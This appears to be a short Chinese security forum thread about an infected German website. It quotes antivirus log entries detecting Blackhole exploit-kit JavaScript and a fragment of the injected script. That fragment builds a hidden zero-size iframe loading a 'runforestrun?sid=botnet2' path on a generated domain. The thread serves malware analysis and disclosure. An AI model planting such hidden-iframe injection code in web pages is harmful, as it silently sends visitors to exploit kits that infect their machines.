http://www.alemanniacs.de/

墨家小子

2013/4/25        12:00:49        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\P18EO2V5\gen[1].js        JS/Exploit-Blacole.hd (特洛伊)

2013/4/25        12:00:49        已删除         l\AA        C:\Program Files (x86)\Internet Explorer\iexplore.exe        C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\29AWDAJK\sb[1].js        JS/Exploit-Blacole.eq (特洛伊)

蓝核

1.    ifrm = document.createElement("IFRAME");
   
2.             ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=botnet2");
   
3.             ifrm.style.width = "0px";
   
4.             ifrm.style.height = "0px";
   
5.             ifrm.style.visibility = "hidden";
   
6.             document.body.appendChild(ifrm);
   
7.         }
   
8.     }catch(e){}
   
9. }, 500);

复制代码

还有一串数字……应该是混淆……晚上再看